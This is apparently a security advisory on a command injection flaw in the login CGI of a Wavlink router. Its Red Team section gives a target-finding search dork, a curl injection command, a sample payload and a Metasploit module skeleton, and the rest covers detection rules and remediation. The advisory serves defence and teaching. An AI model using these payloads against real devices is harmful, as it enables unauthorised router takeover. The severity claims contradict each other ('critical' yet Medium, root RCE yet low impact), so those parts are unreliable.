CVE-2025-10325

Executive Summary

CVE-2025-10325 is a critical command injection vulnerability in the Wavlink WL-WN578W2 router (firmware version 221110). The flaw resides in the /cgi-bin/login.cgi binary, specifically within the functions sub_401340 and sub_401BA4. By manipulating the ipaddr argument in an HTTP POST request, an unauthenticated remote attacker can inject arbitrary operating system commands, leading to full device compromise. The vendor was contacted but did not respond, and a public proof-of-concept (PoC) exploit is available. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the public availability of the exploit increases risk for exposed devices.

This vulnerability is not related to any WordPress plugin or component; it is a standalone embedded device firmware issue.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Base Score: 6.3 (Medium)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability does not affect other components.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited modification possible.
• Availability Impact: Low (A:L) – Limited service disruption.

Threat Level: Medium. The vulnerability is easy to exploit remotely without authentication, but the impact is limited to low-level compromise. However, in a router context, low integrity/availability can still lead to DNS hijacking, traffic interception, or device bricking.

Deep Dive & Mechanics

The vulnerability is a classic command injection in the ipaddr parameter processed by the sub_401340 and sub_401BA4 functions inside /cgi-bin/login.cgi. The binary likely constructs a shell command using user-supplied input without proper sanitization. For example, the ipaddr value may be passed directly to system() or popen().

Attack Flow:

1. Attacker sends an HTTP POST request to /cgi-bin/login.cgi with a crafted ipaddr parameter.
2. The parameter contains shell metacharacters (e.g., ;, |, `) followed by arbitrary commands.
3. The router executes the injected command with root privileges.
4. Attacker gains remote code execution (RCE) on the device.

Example Payload:

ipaddr=127.0.0.1; ls -la

The functions sub_401340 and sub_401BA4 are likely responsible for parsing the ipaddr field and passing it to a shell. The lack of input validation allows the injection.

Vulnerable vs. Patched Code

Vulnerable Code (Reverse Engineered):

// Pseudocode of sub_401340
void sub_401340(char *ipaddr) {
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "ping -c 1 %s", ipaddr);
    system(cmd);
}

Patched Code (Hypothetical):

void sub_401340(char *ipaddr) {
    // Validate IP address format
    if (!is_valid_ip(ipaddr)) {
        return;
    }
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "ping -c 1 %s", ipaddr);
    system(cmd);
}

The patch would require strict input validation (e.g., regex for IP address) and avoidance of shell functions. Using execvp with a fixed argument list is safer.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Wavlink WL-WN578W2 router with firmware 221110.
• Network access to the router's web interface (typically port 80/443).

Exploit Steps:

1. Identify target router (e.g., via Shodan dork http.title:"Wavlink").
2. Send a crafted POST request to /cgi-bin/login.cgi:

curl -X POST http://<target>/cgi-bin/login.cgi \
  -d "ipaddr=127.0.0.1; id"

3. The output of the id command will be returned in the HTTP response (if reflected) or executed blindly.

Metasploit Module (Conceptual):

# msf module placeholder
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient

  def exploit
    send_request_cgi({
      'method' => 'POST',
      'uri'    => '/cgi-bin/login.cgi',
      'data'   => "ipaddr=127.0.0.1;#{payload.encoded}"
    })
  end
end

Blue Team

Detection:

• Monitor HTTP POST requests to /cgi-bin/login.cgi with suspicious ipaddr values (e.g., containing ;, |, &, `).
• Alert on outbound connections from the router to unknown IPs (post-exploitation C2).
• Check for unusual processes running on the router (e.g., telnetd, nc, bash).

Honeypot:

• Deploy a low-interaction honeypot mimicking the Wavlink login page.
• Log all ipaddr parameter values for analysis.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /cgi-bin/login.cgi with ipaddr containing shell metacharacters.
• Outbound connections from the router to uncommon ports (e.g., 4444, 31337).
• DNS queries to suspicious domains (e.g., malware.example.com).

Host IOCs:

• Unauthorized processes: telnetd, dropbear, nc, bash (if not normally present).
• Modified /etc/passwd or /etc/shadow (new user accounts).
• Presence of files in /tmp/ with suspicious names (e.g., .exploit, payload).

File IOCs:

• Hash of vulnerable firmware: sha256sum of WL-WN578W2 firmware 221110 (if available).

Detection Engineering

YARA Rule

rule CVE_2025_10325_Wavlink_Command_Injection {
    meta:
        description = "Detects exploit attempts for CVE-2025-10325 in HTTP traffic"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-10325"
    strings:
        $s1 = "/cgi-bin/login.cgi" ascii wide nocase
        $s2 = "ipaddr=" ascii wide nocase
        $s3 = ";" ascii
        $s4 = "|" ascii
        $s5 = "`" ascii
    condition:
        $s1 and $s2 and (any of ($s3,$s4,$s5))
}

Sigma Rule

title: CVE-2025-10325 Wavlink Command Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to /cgi-bin/login.cgi with suspicious ipaddr parameter
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/cgi-bin/login.cgi'
        cs-uri-query|contains: 'ipaddr='
    filter:
        cs-uri-query|re: 'ipaddr=[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$'
    condition: selection and not filter
falsepositives:
    - Legitimate IP address input (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-10325 Wavlink Command Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/cgi-bin/login.cgi"; http_uri;
    content:"ipaddr="; http_client_body;
    pcre:"/ipaddr=[^&]*(;|\||`)/Pi";
    sid:10000001;
    rev:1;
    reference:cve,2025-10325;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable remote management on the Wavlink router if not required.
2. Restrict access to the web interface via firewall rules (allow only trusted IPs).
3. Monitor logs for exploitation attempts (use Sigma/Suricata rules above).

Long-Term Fix:

• Since the vendor is unresponsive, consider replacing the device with a supported model.
• If replacement is not possible, apply a virtual patch using a WAF or IDS/IPS (e.g., ModSecurity rule blocking ipaddr with shell metacharacters).

Workaround:

• Manually patch the firmware by modifying the login.cgi binary to sanitize input (requires reverse engineering skills and re-flashing).

Valters IT